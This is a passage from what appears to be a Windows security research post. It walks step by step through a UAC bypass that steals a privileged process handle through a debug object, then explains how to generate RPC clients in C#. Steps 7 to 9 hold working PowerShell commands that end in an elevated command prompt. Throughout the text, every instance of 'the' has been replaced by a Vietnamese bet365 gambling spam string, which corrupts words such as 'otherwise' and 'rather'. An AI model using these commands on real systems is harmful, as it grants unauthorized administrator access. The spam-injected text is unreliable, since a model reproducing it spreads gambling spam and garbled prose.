Step 7: Create a non-elevated process and capture cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 debug object. It doesn’t matter what process we create here, notepad is as good as any. Once we’ve got cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 debug object we need to detach cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 debugger ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rwise we’ll get mixed messages from this and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 elevated process when we wait for debug events. Also without detaching cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process will not actually terminate.

$p = Start-Uac "c:\windows\system32\notepad.exe"
$dbg = Get-NtDebug -Process $p
Stop-NtProcess $p
Remove-NtDebugProcess $dbg -Process $p

Step 8: Create an elevated process, in this case pick an auto-elevated application such as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Task Manager. We’ll find cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 debug object assigned to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 elevated process is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 one we captured in step 7, unless we’re unlucky and anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r thread serviced cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RPC request, we’ll ignore that for now. At this point we now issue a wait on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 debug object to get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 initial process creation debug event from which we can extract cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 privileged process handle. Note that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 handle returned in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 initial debug event isn’t fully privileged, it’s missing PROCESS_SUSPEND_RESUME which prevents us from being able to detach cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 debug object. However we do have PROCESS_DUP_HANDLE access so we can get a fully privileged handle by duplicating cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current process pseudo-handle (-1) from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 elevated process using Copy-NtObject.

$p = Start-Uac "c:\windows\system32\taskmgr.exe" -RunAsAdmin
$ev = Start-NtDebugWait -Seconds 0 -DebugObject $dbg
$h = [IntPtr]-1
$new_p = Copy-NtObject -SourceProcess $ev.Process -SourceHandle $h
Remove-NtDebugProcess $dbg -Process $new_p

Step 9: The $new_p variable should now contain a fully privileged process handle. One quick way to get arbitrary privileged code executing is to use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 handle as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parent process for a new process. For example cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following will spawn a command prompt as admin.

New-Win32Process "cmd.exe" -ParentProcess $new_p -CreationFlags NewConsole

That’s cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 worked example. Hopefully it gives you enough information to get up to speed with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 tooling and to use it effectively in PowerShell.

Using RPC Clients from C#

To finish this blog post, I just wanted to highlight how you’d go about using this tooling from C# racá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than PowerShell. The simplest way of getting a C# file to compile is to use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Format-RpcClient command in PowerShell or cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RpcClientBuilder class from C# to generate it from a parsed RPC server. In PowerShell it’s trivial to parse multiple executables in a directory cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n generate clients for every server using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following example which parses all system32 DLLs and generates individual C# files in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 output path:

$rpcs = ls "c:\windows\system32\*.dll" | Get-RpcServer
$rpcs | Format-RpcClient -OutputPath "cs_output"

You can cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n take cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 C# files you want and add cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m to a Visual Studio project, or manually compile cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m. You will also need to pull in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 NtApiDotNet library from NuGet to get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 general Local RPC client code. It should even work in .NET Core, although obviously it won’t work on any platform but Windows.

To use a client you can write cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following C# code. The using statement depends on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Interface ID and version of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RPC server.

using rpc_201ef99a_7fa0_444c_9399_19ba84f12a1a_1_0;

Client client = new Client();
client.Connect();
client.RAiLaunchAdminProcess("c:\windows\system32\notepad.exe", ...);

There’s a few additional options you can pass to Format-RpcClient to change cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 generated output, such as specifying cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 namespace and client name as well as options to return cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 out parameters in a structure as used in PowerShell. As generating all clients is somewhat time consuming, especially if you wanted to do it for all supported versions of Windows and you wanted to resolve public symbols for names, I’ve done it for you. The WindowsRpcClient project on Github has pre-generated clients for Windows 7, Windows 8.1 and Windows 10 1803, 1903 and 1909. As cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code is automatically generated it doesn’t have any specific license, although you’ll need to use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 NtApiDotNet library as well.